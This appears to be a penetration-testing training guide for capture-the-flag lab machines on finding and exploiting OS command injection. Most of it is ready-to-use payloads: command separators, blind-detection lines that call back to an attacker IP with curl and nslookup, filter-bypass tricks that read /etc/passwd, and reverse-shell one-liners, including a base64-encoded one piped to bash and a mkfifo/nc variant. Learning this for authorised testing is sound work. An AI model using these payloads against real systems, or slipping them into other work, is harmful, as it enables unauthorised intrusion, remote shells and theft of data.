OS command injection: detection, blind injection and filter bypasses
How to find OS command injection on Linux and Windows, confirm it blind (time, DNS, HTTP) and bypass the most common space, keyword and character filters.
The application takes something you type and drops it into a system command: a diagnostic ping, a file converter, a URL checker, the name of a file being compressed. If it does not escape it properly, you run whatever you want. Around 40 machines in the catalogue feature command injection, and it is one of the most direct routes to a shell.
Where to look
- Features that obviously call a tool: ping, traceroute, nslookup, whois, checking whether a website is up, generating a PDF, converting an image, unzipping.
- Parameters holding file names, hosts or IP addresses.
- Headers the application logs or processes (
User-Agent,X-Forwarded-For) in internal panels. - Fields that end up in server scripts later (a username used by a cron job).
Detecting it
The separators that chain commands in each shell:
| Separator | Linux (sh/bash) | Windows (cmd) | What it does |
|---|---|---|---|
; |
Yes | No | Runs one, then the other |
&& |
Yes | Yes | The second only if the first succeeds |
|| |
Yes | Yes | The second only if the first fails |
| |
Yes | Yes | Pipes the first one's output into the second |
& |
Yes (in the background) | Yes | Runs one, then the other |
Newline (%0a) |
Yes | Yes | Ends the command |
`cmd` / $(cmd) |
Yes | No | Substitution: runs inside the first one |
Start with something that returns recognisable output:
127.0.0.1; id
127.0.0.1 | id
127.0.0.1%0aid
$(id)
`id`
127.0.0.1 & whoami
Tip
If your input sits inside quotes in the command (ping -c 1 "INPUT"), close them first: "; id; echo ". If it is an argument to another tool, sometimes one of that tool's options is enough: -o /var/www/html/x.php for curl or wget is argument injection rather than command injection, but it ends the same way.
When you cannot see the output (blind)
The most common case. You need a signal that arrives by another route:
# Time: the response takes 5 s longer
; sleep 5
& ping -n 6 127.0.0.1 & # Windows: about 5 s
# Network: the server connects to your box
; curl http://10.10.14.5/$(whoami)
; ping -c 2 10.10.14.5
& nslookup test.10.10.14.5.nip.io &
For the network signal, listen on your box with sudo tcpdump -ni tun0 icmp (ping) or python3 -m http.server 80 (HTTP). If a request arrives, you have execution: go straight to the reverse shell.
If there is no way out to the internet or your IP, write the output somewhere you can read it:
; id > /var/www/html/static/x.txt
Bypassing filters
The web injections cheat sheet has the full list. The essentials:
# No spaces
cat${IFS}/etc/passwd
{cat,/etc/passwd}
cat</etc/passwd
X=$'\x20';cat${X}/etc/passwd
# Banned words (cat, whoami, bash...)
w'h'o'am'i
w"h"oami
wh\oami
/???/c?t /etc/passwd # wildcards: /bin/cat
$(printf 'd2hvYW1p' | base64 -d)
# Banned slash
cat ${HOME:0:1}etc${HOME:0:1}passwd
# All together: the reverse shell in base64
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC41LzQ0NDQgMD4mMQ== | base64 -d | bash
On Windows:
who^ami
powershell -enc <base64 in UTF-16LE>
The PowerShell generator gives you the -enc ready to paste, and the encoder converts to base64, URL or hex.
From injection to shell
nc -lvnp 4444
; bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'
; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.5 4444 >/tmp/f
If the request goes through the URL, encode & as %26 and + as %2b, or Burp will break the payload.
Common errors
idworks but the reverse shell does not: there is an egress firewall. Try ports that are usually open (80, 443, 53) or write into the web root.bashdoes not exist: many Docker images only havesh(busybox). Use themkfifoandncvariant, orpython3 -c.- It runs, but a minute later: your input is stored and a script processes it later (a cron job). That is normal; wait, or look for the script.
Examples from the catalogue
Networked has an injection in a cron script through a file name; Jarvis, one in a sudo script with filters to bypass; Headless, one in a date parameter after stealing a cookie with XSS; and CozyHosting, one with a space filter you get past with ${IFS}. The rest are listed at the end of this page.
What next
With the shell, follow the post-exploitation checklist. If the application passes your input to a template rather than a shell, see the SSTI guide; if it puts it in a query, the SQL injection one.